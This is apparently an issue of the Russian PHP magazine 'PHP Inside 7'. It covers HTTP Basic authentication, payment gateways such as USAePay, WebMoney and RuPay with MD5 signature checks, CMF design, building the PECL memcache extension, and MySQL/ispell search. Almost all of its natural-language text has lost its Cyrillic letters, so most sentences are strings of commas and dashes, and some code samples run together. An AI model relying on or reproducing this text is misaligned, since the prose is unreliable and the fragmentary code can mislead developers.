RewriteEngine OnRewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization},L]

// ( ).function Authenticate($realm="Admin authentication", $nm, $pass){ global $PHP_AUTH_USER, $PHP_AUTH_PW; if ($PHP_AUTH_USER!=$nm || $PHP_AUTH_PW!=$pass) { Header("WWW-Authenticate: Basic realm=\"$realm\""); if (function_exists("getallheaders")) Header("HTTP/1.0 401 Unauthorized"); else Header("Status: 401"); exit; }}

PHP Inside 7 PHP

PHP_Exceptionizer, PHP , : http://php.dklab.ru/lib/PHP.

, , , (" " " " ).

,

.

phpBB: http://phpbb.com

placeholder-:http://php.dklab.ru/lib/Database

"PHP, MySQL ":http://dklab.ru/chicken/30.html

: http://php.spb.ru

: http://php.dklab.ru/lib/Subsys/Antiflood

Apache, :http://www.nuclearelephant.com/projects/dosevasive

PHP :http://php.dklab.ru/lib/PHP

78

PHP Inside 7 ,

, () -

(). . , , . - , - ( ) -, - ( -, ), - / ( , ), - , - .

, , . , ( ) , , .

()

1995-1996 . ( ), ( -) , - . : , , - , - . - , - -.

- (, , ), - , - (), - .

, - , - - . , -, ( -), .

79

:

, , ,

PHP Inside 7 ,

, - , , , - . - ( , -, , -).

, , , - . . - . - , . .

, - . () . . . - ( . Fraud -) () . - ( ; , ?) - ( , ). , , , , , -, .

- -, , (Chargeback) , -, - , - . - , Chargeback. - . . , Chargeback, . Chargeback - , . - (Chargeback Period), 45 180 .

80

, , , , , ,

PHP Inside 7 ,

, , - , , - - . , , . , - , - () , - -. , () - , . -, . .

, , , , , , , - (-) . , , (Value-Added Network - VAN), .

(-) . - SSL (Secure Socket Layer).

SSL, (RSA), - , - - . - - - . SSL () , - . - .

- (MessageAutentification Code, MAC), -( , MD5).

81

PHP Inside 7 ,

SSL- , . -, - ( ) .

SSL- -. : - -. , , -, . -, , SSL- - () . , : , .

, Visa 1996 SET(Secure Electronic Transaction) , ( , ). Visa , -. Visa Verified by Visa 3D Secure SPA (SecurePayment Application) MasterCard ( SET, 3D-Secure SPA/UCAF 4).

- ( , MD5) . , -, - -, -, ,, MD5 ( + + ). - - . , , ,, . OpenSSL PGP, - - RSA (, ). - ( ,WMSigner WebMoney). - , , .

- :

Merchant- ( , )

82

SSL- -. : -

PHP Inside 7 ,

( - ), (- , ..), , , , . - - . -.

:

1. .

2. - ().

3. ().

4. -- ( -, .., ).

5. .

6. -.

7. , , , .

8. - - -.

. 1. .

83

PHP Inside 7 ,

- .

-

- , , , . , . - - . , - , - . , .

USAePay USAePay (http://www.usaepay.com)

API : server-side, PHP- ( Perl, ASP .), JavaScript- ( ) client-side API . , - , -.

server-side :

, ,

, -

client-side :

- hidden-

, , URL

84

PHP Inside 7 ,

PHP- umTransaction. .

1. API USAePay PHP

85

PHP Inside 7 ,

, - . ? , . , - . - , . , , - . - client-side , , : 2. API USAePay - .

Submit, JavaScript, .

86

Expire Date (MM/YY)/

$

PHP Inside 7 ,

-

, - -, UMRedir ( http://www.mycompany.com/myorderform.php). GET.

USAePay , . , : UMredirApproved , UMredirDeclined -.

, , , CGI Gateway API v2.8.2.

1.

, - , -.

WebMoney .

, WebMoney , - , , , , - . , , - WMSigner, , - . PHP-- , - , webmoney. -. WMSigner- - ( WMSigner).

87

include("wm.inc");//// // $wmid - // $summ - // $inv_id - // $dsc - // $adr - list($wminvc_n, $err) = InvCreate($wmid, $summ, $inv_id, $dsc, $adr);// if ($wminvc_n>0) { print " WebMoney: $wminvc_n";} else { print " : $err"; }

PHP Inside 7 ,

. 2001 3(!!!) . , , , , WebMoney Merchant- .

Merchant- Merchant-

, , . , - Merchant- , . , , , .

, , - . : , , .

, - GET POST. , - .

:

-

- , - .

- , - .

USAePay USAePay. -

merchant- , -:

https://www.usaepay.com/interface/epayform/[key]/[command]?UMamount=[amount]&UMinvoice=[invoice]&UMmd5hash=[hash]

:

[key] -

[command] - (sale, authonly)

88

PHP Inside 7 ,

[amount] -

[invoice] -

[hash] - .

Command:Pin:Amount:Invoice, MD5.

(, , ):

4. merchant-panel USAePay.

: Int-commerce - .

Int-Commerce --

() Int-Commerce, https://secure.int-commerce.com/servlets/SoftPOS_alias/SoftPOS.Pay ( alias - - , ), GET :

psum

pmode . : 1 ( . ); 0 ( , , . , ); -1 - ( . , .)

poterm

porder plang .

: 1 ; 2 ; 3

89

PHP Inside 7 ,

email - . GET:

oderdID

summ -

ordStat -

:

-20

0 ,

,

10 ,

11 . 16

20 ,

30

- . , ,, IP- .

www.int-commerce.com

. -

:

1. XML- .

2. https://www.menatepspb.com/ib/eps3/enter/?basket_url=http://www, basket_url , , BASE64.

3. .

4. , - .

5. cmdAckUrl cmdCancelUrl .

6. returnUrl, .

90

PHP Inside 7 ,

7. , 5- , .

5- BASE64 , . , , - , - . RSA-MD5. - , -. Merchant- -. , Merchant- .

WebMoneyWebMoney, ,

Merchant- (Web MerchantInterface). - , . - https://merchant.webmoney.ru.

( http://webmoney.ru) 2. Result URL, . , - 2 : , , , . Success URL Fail URL -, .

2 ( https://merchant.webmoney.ru/conf/guide.asp ). - ( - 2):

5. Web Merchant Interface WebMoney

91

... ...

PHP Inside 7 ,

Merchant- - , 10 , -: , , , WM-- , , . - ( YES) - ( , ).

2.

ResultURL ( 2). -, , -, , WebMoney.

, Result URL . - , , ( ).

: -, , , , - WM, WM, - , , , WMId -. MD5.

, (- ) https://merchant.webmoney.ru/conf/guide.asp.

RuPay

RuPay (http://www.rupay.com). - , , , -, (WebMoney, ndex-,Internet-money, E-Gold), (Western Union, , ). (, -24 ). - -. PayPal. - . , VisaElectron.

92

. 3

PHP Inside 7 ,

. RuPay . :

255 ,

255 URL , - ,

URL 255 URL ( - ), RUpay HTTP POST- . URL, .URL http:// https://

32 , , . . RUpay !

- ,

. - action=http://rupay.ru/rupay/pay/index.php, . ( 3):

6. RuPay

93

... ...

PHP Inside 7 ,

email- .

WebMoney, RuPay , ( 3). - , . - , - . HTTPS- , - , - .

, ::. - -: ( ) rupay_action,rupay_site_id, rupay_order_id, rupay_name_service, rupay_id,rupay_sum, rupay_user, rupay_email, rupay_data, rupay_secret_key,( ) - rupay_action, rupay_site_id,rupay_order_id, rupay_sum, rupay_id, rupay_data, rupay_status,rupay_secret_key. MD5, rupay_hash. , :

7. - RuPay

94

// , RuPay $secretKey = "Melkosoft SUXX! :-P";// , $signFields = array($_POST["rupay_action"],$_POST["rupay_site_id"],$_POST["rupay_order_id"],$_POST["rupay_sum"],$_POST["rupay_id"],$_POST["rupay_data"],$_POST["rupay_status"]); // $signString = implode("::", $signFields); // $signString .= "::".$secretKey;// $signHash = md5($signString);// if ($signHash==$_POST["rupay_hash"]) { // todo, ...} else { // todo, ...}

PHP Inside 7 ,

RuPay , . .

Merchant-

, . , , - , .

USAePay: , , - , -. , - - , - . , .

Merchant-, , , . , , , , . , . - , , - .

- ( API). , VPAS (Verified by Visa) Mastercard UCAF (Universal CardholderAuthentication Field) , , - API, - - . , Merchant- , - .

. -, , . - , .

95

PHP Inside 7 ,

1. - . . (, ).

2. . , .

3. . - API .

4. -, - (CyberSpace Advanced Fraud Screen http://www.cybersource.com, Brighterion iPrevent for Fraud Prevention http://www.brighterion.com, ..).

- http://www.menatepspb.com

Int-Commerce http://www.int-commerce.com

RuPay http://www.rupay.com

USAePay http://www.usaepay.com

WebMoney http://www.webmoney.ru

96

PHP Inside 7 CMF freelance-

CMF freelance- , -

-, - , . , - . -. , - . - . -, CMS, - -/ . , , - . - , . ? - . - .. Framework.

. CMS (Content ManagementSystem) () . - , , - CMS. , , - CMS CMS ( uCMS). uCMS , - . - , CMS. -, , CMS CMS - . , CMS uCMS

CMS - CMF, . , , .

CMS () . , -. uCMS . , CMS, ( - , ) .

uCMS :

1) .

2) - .

3) .

4) .

97

:


, uCMS :

1) ( ).

2) , - .

3) ( - CMS).

, , -. ?

uCMS:

1) . CMS - . -, , , CMS, - .

2) -, ( , , - ).

3) . .

, uCMS, , - : . ? , - ? - uCMS, - . , . , , , . - , , ? - . , , , .

- "" (, , , , - - ), - - .

. CMS , - , ( PHPNuke), , .

98

uCMS, , - : .


, - , freelance-, . , , , , uCMS .

, . ? () : ( ) . - , , . -: .

: ? -, , , - SQL .. uCMS - - : , - , ; - ( ) .

, , - , ? . ( , uCMS ) , , (/// ). (/). , , -, . , , . Framework, CMF.

CMF (content management framework) - . CMF uCMS , CMS , CMF CMS. CMF -, - . , CMF CMS , ( ), CMF - . . . CMF - , uCMS. - CMF:

.

.

.

CMS .

99

, .


-.

, , CMF ( ), , , .

: CMF uCMS , , .

, , CMF, xpoint.ru: CMF . . CMF .

- CMS, , , - , , . CMS , , , , -.

CMF - , . : CMF - , - .

, , , , .. , - , . , , . - , -, .

. , , Framework , , . - . -, - .

100


CMF CMF -

CMS , -, , . , CMF - , -, . - CMF . -, CMF.

CMF () , ,

: . , -, -: . -, CMF, - - , - . - , , , -, - .

, - , . -, , -, . , - (, - ), - - , . - -, , -. CMF?

, , , - Framework. - , - . namespaces ., Framework , - . , , - . , - . PHP5 - __autoload, , .

101

PHP5 , .


PHP5 , . . , . - , Performance, 10-15 ( ), . , - , , -. , .

, . :

? :

7 . , , - . , PHP5, . -: ? , -. ! , CMF -. . , , -- .

, , , , .

, .

. -, , - . (ID), - .

102


( - ). , . , , - .

, content, ( , ). , , :, , .

., content comments () . , .

, - . , .

( -). , - (), :

, .

103


, , . - if:

- , .

, , , . , - , , :

, - .

CMF , , -

. , - .

, : ID , , , -.

104

if(s::is($sid,"list")) // , "" { if($cid) // $cid - , ID . , // { $text=c::get($cid); // if($text) $xtpl->insert_loop("$p.text","text",$text); // } else { if(s::is($sid,"news")) $p2="$p.news"; else $p2="$p.list"; // , . $all=c::getall($sid); // . foreach($all as $item) $xtpl->insert_loop("$p2.item","item",$item); // $xtpl->parse("$p2"); // " " } }

if(s::is($sid,"list")) // , ""// } elseif(s::is($sid,"cataloge"))}// }

If($sid==1 or $sid==4 or $sid==5){ // .}


parentid. , , , , - .

, - ? , . , ., , - , -, .

ID . - , , , - , , - ID .

. , . -. -. content, - (- : , ), ( ):

s ID . , : ?

. - -, select * from cwhere s=$sid; , - ( , ). , - .

. , , .

, - ( $this), .

105

CREATE TABLE c ( id int(10) unsigned NOT NULL auto_increment, ts timestamp(14) NOT NULL, dt datetime NOT NULL default '0000-00-00 00:00:00', s int(10) unsigned NOT NULL default '0', head text NOT NULL, ann text NOT NULL, body text NOT NULL, PRIMARY KEY (id)) TYPE=MyISAM;


-. , - . , - , . select * - , .

. -

. , . , - - .

, , . - - , . . - . , , , , , , - , - CMF, .

, , - . .

, - , . ( ID ).

. , . CMF.

, - Pear. Pear , , .

106


, -

Framework, - CMS, - . , CMF. CMF , . , - , . (, MVC), . , . phpconf.ru - CMF, . install.txt.

107

PHP Inside 7 () PHP MEMCACHE

() PHP MEMCACHE

ext_skel, ext/ - PHP. ext_skel - awk sed.

ext_skel

, , :

ext_skel:

ext_skel:

config.m4 config.m4 autoconf

./configure, PHP.

108

./ext_skel --extname=module [--proto=file] [--stubs=file] [--xml[=file]] [--skel=dir][--full-xml] [--no-help] --extname=module --proto=file --stubs=file --xml phpdoc --skel=dir --full-xml ( ) --no-help

./ext_skel --extname=memcache

config.m4 - autoconf, CREDITS - memcache.php - memcache.c - config.w32 - Win32EXPERIMENTAL - php_memcache.h - tests/ -

:


config.m4 memcache:

config.m4 - .

./buildconf, - . config.m4. ./buildconf ./configure, --enable-memcache. , ., :

, -

ext_skel .

109

dnl enable-memcache

PHP_ARG_ENABLE(memcache, whether to enable memcache support,[ --enable-memcache Enable memcache support])dnl --with-zlibdnl(zlib )if test -z "$PHP_ZLIB_DIR"; thenPHP_ARG_WITH(zlib-dir, for the location of libz, [ --with-zlib-dir[=DIR]memcache: Set the path to libz install prefix.], no, no)fidnl --enable-memcache "no", ...

if test "$PHP_MEMCACHE" != "no"; then dnl AC_MSG_CHECKING([for the location of zlib]) dnl zlib if test "$PHP_ZLIB_DIR" = "no"; then dnl - zlib ! AC_MSG_RESULT([no. If configure fails, try --with-zlib-dir=]) else dnl zlib , $PHP_ZLIB_DIR AC_MSG_RESULT([$PHP_ZLIB_DIR]) dnl - PHP_ADD_LIBRARY_WITH_PATH(z, $PHP_ZLIB_DIR/lib, MEMCACHE_SHARED_LIBADD) fi

AC_DEFINE(HAVE_MEMCACHE,1,[Whether you want memcache support]) dnl C/C++ dnl PHP_NEW_EXTENSION(memcache, memcache.c, $ext_shared)fi

./buildconf

./configure --enable-memcache ....make./sapi/cli/php -f ./ext/memcache/memcache.php


, , -

PHP, (function_entry memcache_functions[]).

, :

1) :

, :

.

2) :

3) :

110

PHP_FE(memcache_get_version, NULL)

PHP_ALIAS(memcache_get_version, some_old_function, NULL)

PHP_FUNCTION(memcache_get_version);

/* {{{ proto string memcache_get_version( object memcache ) Returns server's version */PHP_FUNCTION(memcache_get_version) { mmc_t *mmc; int inx; char *version; zval *mmc_object = getThis(); /* $this */ /* , Memcache, $this */ if (mmc_object == NULL) { /* */ if (zend_get_parameters(ht, 1, &mmc_object) == FAILURE) { WRONG_PARAM_COUNT; } } /* , , , */ if ((inx = mmc_get_connection(mmc_object, &mmc TSRMLS_CC)) == 0) { RETURN_FALSE; } /* , , NULL */ if ( (version = mmc_get_version(mmc TSRMLS_CC)) ) { RETURN_STRING(version, 0); } /* */ php_error_docref(NULL TSRMLS_CC, E_NOTICE, "failed to get server'sversion"); RETURN_FALSE;}


:

: :

:

:

:

: :

, - :

:

111

zend_bool b;if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "b", &b) == FAILURE)RETURN_FALSE;

long l;double d;if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "ld", &l, &d) == FAILURE){

char *str;int str_len;if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s", &str, &str_len) ==FAILURE) {

zval *arr;if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "a", &arr) == FAILURE) {

zval *c = NULLif (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "r", &c) == FAILURE) {

long opt_l = 0;char *opt_str = NULL;long opt_str_len = 0;if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "|ls", &opt_l, &opt_str, &opt_str_len) == FAILURE) {

zval *resource;zend_bool b = FALSE;if (zend_parse_parameters(2 TSRMLS_CC, "r|b", &resource, &b) == FAILURE) {

long number;char *str;int str_len;if (zend_parse_parameters_ex(ZEND_PARSE_PARAMS_QUIET, ZEND_NUM_ARGS()TSRMLS_CC, "l", &number) == SUCCESS) { /* */} else if (zend_parse_parameters_ex(ZEND_PARSE_PARAMS_QUIET, ZEND_NUM_ARGS()TSRMLS_CC, "s", &str, &str_len) == SUCCESS) {/* */} else { /* ! */ }


:

ZEND_NUM_ARGS()- .

WRONG_PARAM_COUNT Wrongparameter count ...

TSRMLS_CC, TSRMLS_DC, TSRMLS_C, TSRMLS_D - , - (thread safety). *_C* , *_D* - .

, ,

:

1) :

2) :

3) , - PHP_MINIT_FUNCTION():

PHP - :

, - , - :

.. :

112

static zend_class_entry *memcache_class_entry_ptr;

static zend_function_entry php_memcache_class_functions[] = { PHP_FALIAS(pconnect, memcache_pconnect,NULL) {NULL, NULL, NULL}};

PHP_MINIT_FUNCTION(memcache){ zend_class_entry memcache_class_entry; INIT_CLASS_ENTRY(memcache_class_entry, "Memcache",php_memcache_class_functions); memcache_class_entry_ptr = zend_register_internal_class(&memcache_class_entry TSRMLS_CC);}

object_init_ex(return_value, );

object_init_ex(return_value, memcache_class_entry_ptr);


return_value , - .

, , , - , :

. , ,

PHP . , - , , . : , - , , - .

- : , , . .

, (le_memcache , le_pmemcache ).

( PHP_MINIT_FUNCTION()) :

-, / .

-, - persistent- ( ).

113

RETURN_RESOURCE(l) - , l - RETURN_BOOL(b) - , b - 0 1RETURN_NULL() - NULLRETURN_LONG(l) - RETURN_DOUBLE(d) - RETURN_STRING(s, duplicate) - RETURN_STRINGL(s, l, duplicate) - RETURN_EMPTY_STRING() - RETURN_ZVAL(zv, copy, dtor) - zvalRETURN_FALSE - FALSERETURN_TRUE - TRUE

static int le_memcache, le_pmemcache;

le_memcache = zend_register_list_destructors_ex(_mmc_server_list_dtor, NULL,"memcache connection", module_number);le_pmemcache = zend_register_list_destructors_ex(NULL, _mmc_pserver_list_dtor,"persistent memcache connection", module_number);


:

, ID, zend_list_insert(). ID :

, - . , - - . PHP , .

ASP Java, - -, PHP - -, - , .

-- . - - .

. - . - , PHP ./run_tests.php .phpt.

114

mmc = mmc_open(Z_STRVAL_PP(host), Z_STRLEN_PP(host), real_port, timeout_sec,persistent TSRMLS_CC);if (mmc != NULL) { mmc->id = zend_list_insert(mmc,le_memcache);}


.phpt:

:

--TEST--- , ;

--SKIPIF--- , , . , - , skip. ;

--FILE-- - ;

--EXPECT-- - ;

--EXPECTF--- , sprintf().

, PHP, README.TESTING2 - PHP.

:

- GNU Debugger gdb. , - GDB, PHP - --enable-debug.

115

--TEST--memcache_set()/memcache_get() using compression--SKIPIF--

--FILE--

--EXPECTF--object(stdClass)#%d (2) { ["plain_attribute"]=> string(5) "value" ["array_attribute"]=> array(2) { [0]=> string(5) "test1" [1]=> string(5) "test2" }}

export TEST_PHP_EXECUTABLE=./sapi/cli/phpphp -f ./run_tests.php ext/memcache/tests


gdb:

? #1 http_build_query(); ( zif_ PHP_FUNCTION). 204 ext/standard/http.c php_url_encode_hash_ex(), . - GDB , .

? ?

- . , ZEND API http://zend.com/zend/api.php , -, , - .

- - ext/mysql, .

[email protected] [email protected], - , - . , .

IRC: #php.pecl #php.bugs EFNet, .

? -

. , PHP , , .

116

$gdb ./sapi/cli/php(gdb) run -f some_test.phpProgram received signal SIGSEGV, Segmentation fault.php_url_encode_hash_ex (...) at /usr/src/php5/ext/standard/http.c:64(gdb) backtrace#0 php_url_encode_hash_ex (...) at /usr/src/php5/ext/standard/http.c:64 #1 0x081b962c in zif_http_build_query (...) at /usr/src/php5/ext/standard/http.c:204 #2 0x08224ede in zend_do_fcall_common_helper (...) at /usr/src/php5/Zend/zend_execute.c:2642 #3 0x0822505e in zend_do_fcall_handler (...) at /usr/src/php5/Zend/zend_execute.c:2771#4 0x08221388 in execute (...) at /usr/src/php5/Zend/zend_execute.c:1339 #5 0x082032ff in zend_execute_scripts (...) at /usr/src/php5/Zend/zend.c:1053 #6 0x081ca76f in php_execute_script (...) at /usr/src/php5/main/main.c:1647#7 0x08235a2e in main (...) at /usr/src/php5/sapi/cli/php_cli.c:941


, , , , , - . - .

memcache -

memcache LiveJournal (Brad Fitzpatrick). memcached LiveJournal , . - ( -), / - .

Memcached plain-text , - - - , .

PECL/memcache memcached PHP, PHP-, . , memcached, , PECL/memcache, - 10 100 .

memcached:

() , - , -;

;

( - HEAP MySQL);

.

117

PHP Inside 7 PHP, MYSQL ISPELL

PHP, MYSQL ISPELL

- - . , , : - "" , - .

, , - , , - - . , ,, , -. , , - - , - - .

, . - UNIX-. , -, - , crontab' .., , - . ,, , "-" , , , . , - - (CMS), -.

, - . - , , - , , - . - , - - , , - .

118

:


, : - . - mysql, PHP ( , mysql) UNIX- ispell, - . - ? ispell- ? - , ? -, ? .

mysql: ()

-, .

:

:

119

create table search_object (

id int(11) default '0' not null auto_increment, #

name varchar(32) not null, # ""

idate datetime not null, #

tag int(4) default '0', # () -

primary key (id),

index idx_so_name (name),

index idx_so_idate (idate),

index idx_so_tag (tag));

create table search_index (

id_obj int(11) not null, #

word varchar(32) not null, #

weight int(4) not null, # ""

unique uk_si_obj_word (id_obj,word),

index idx_si_word (word)

# : , );


- search_index, (search_object) . (name) - URL- , (-) , (, {table_name, table_id} -URLdb://table_name/table_id .). ( , .), - "" () , "" - . - , (, , ), .

, " " " ". . -:

- "" -

. - - , - ( , ). , ( -) :

1) - , ;

2) , - .

120

mysql> select * from search_index order by id_obj;+--------+---------+--------+| id_obj | word | weight |+--------+---------+--------+| 1 | | 1 || 1 | | 1 || 1 | | 1 || 2 | | 1 || 2 | | 1 || 2 | | 1 || 2 | | 1 |+--------+---------+--------+7 rows in set (0.00 sec)


- : " ". - :

, , ,

-:

- . - . - , - .

: ru-ispell

. UNIX- ispell.

121

mysql> select id_obj, word, (word = ''), (word = ''), (word = '') -> from search_index where word in('','','');+--------+-------+--------------+-----------------+------------------+| id_obj | word |word = ''| (word = '') | (word = '') |+--------+-------+--------------+-----------------+------------------+| 1 | | 1 | 0 | 0 || 1 | | 0 | 1 | 0 || 1 | 0 | 0 | 1 || 2 | 1 | 0 | 0 |+--------+-------+--------------+-----------------+------------------+4 rows in set (0.00 sec)

+--------+------+------+| id_obj | w | r |+--------+------+------+| 1 | 3 | 3 || 2 | 1 | 1 |+--------+------+------+2 rows in set (0.00 sec)

mysql> select id_obj, sum(weight) as w,

-> max(word = '') + max(word = '') + max(word = '') as r

-> from search_index where word in('','','')

-> group by id_obj

-> order by r desc, w desc;


- , , , , - . , , . : (-).

-:

: (-) "K"(flag*K) 5 . - , - 20 . : [] > [ ],[ ]

:

-------------------------------------------------------------------------------

/I

/K

/K

/A

/A

/I

/A

/A

/BLRW

/BLRW

-------------------------------------------------------------------------------

, - "" , ('/') , . "" K(. affix-). [^] - , - - . , (/BLRW).

122

---------------------------------------------------------------------flag *K:# .., - > -, # > (..) > -, # > (..) > -, # > (..) [^] > -, # > (..) > -, # > (..)---------------------------------------------------------------------


, (B,L,R,W) . -, "", - "" . , {,,,} - - . "" "" . , - " - ?", " - -?". , - . , .

mysql-:

:

, : . , - , - - ( ). , - , , .

123

create table affix (

flag char(1) default '' not null, #

type char(1) default '' not null, # :

lang char(3) default '' not null, #

mask char(16) default '' not null, #

find char(16) default '' not null, #

repl char(16) default '' not null, #

index idx_affix_flag (flag));

create table spell (

word varchar(32) default '' not null, #

flag varchar(8) default '' not null, #

lang char(3) default '' not null, #

index idx_spell_word (word));


, - "" - -, , :

- .

SQL-

. - . , ( , ), , :

124

mysql> select * from stopword limit 10;+-------+| word |+-------+| || || || || || || || || || |+-------+10 rows in set (0.00 sec)

mysql> SELECT DISTINCT -> CONCAT(LEFT(s.word,LENGTH(s.word)-LENGTH(a.find)),a.repl) as FORM -> FROM spell s, affix a -> WHERE s.word = '' -> and INSTR(s.flag,a.flag) -> and s.word regexp a.mask -> and s.lang=a.lang -> and a.type='s';

create table stopword (

word varchar(32) not null,

primary key (word));


(affix.type = 's'), spell.lang =affix.lang, .. . , , - , (, affix.lang = 'ru').

s.word = '' s.word in ('word_1','word_2',...,'word_N'), N , .

, ., , - , - . :

"13" - .

125

+---------+| FORM |+---------+| || || || || || || || || |+---------+9 rows in set (0.01 sec)

mysql> SELECT DISTINCT -> CONCAT(LEFT('',13-LENGTH(a.repl)),a.find) as FORM -> FROM affix a, spell s -> WHERE RIGHT('',LENGTH(a.repl))=a.repl -> AND INSTR(s.flag,a.flag) -> AND a.type='s' -> AND a.lang=s.lang -> AND CONCAT(LEFT('',13-LENGTH(a.repl)),a.find)=s.word -> AND CONCAT(LEFT('',13-LENGTH(a.repl)),a.find) RLIKE a.mask;

+-------------+| FORM |+-------------+| |+-------------+1 row in set (0.05 sec)


spell_prepared:

, spell_prepared co - , - , , "" - . "" .

, ,

: - - ? - , , , - . - , . .

1) search_index .

- "" , , .

- "" - . SQL- : -, word in (...) ; - - , .. : max(word in ('','-','','','','','','','')),, , .

- "" "".

2) search_index .

127

mysql> explain select form from spell_prepared where word = '';| table | type | possible_keys | key | key_len | ref | rows |Extra || spell_prepared | ref | idx_sp_wf | idx_sp_wf | 64 | const | 14 |where used; Using index |1 row in set (0.00 sec)

mysql> explain select word from spell_prepared where form = '';| table | type | possible_keys | key | key_len | ref | rows |Extra || sp

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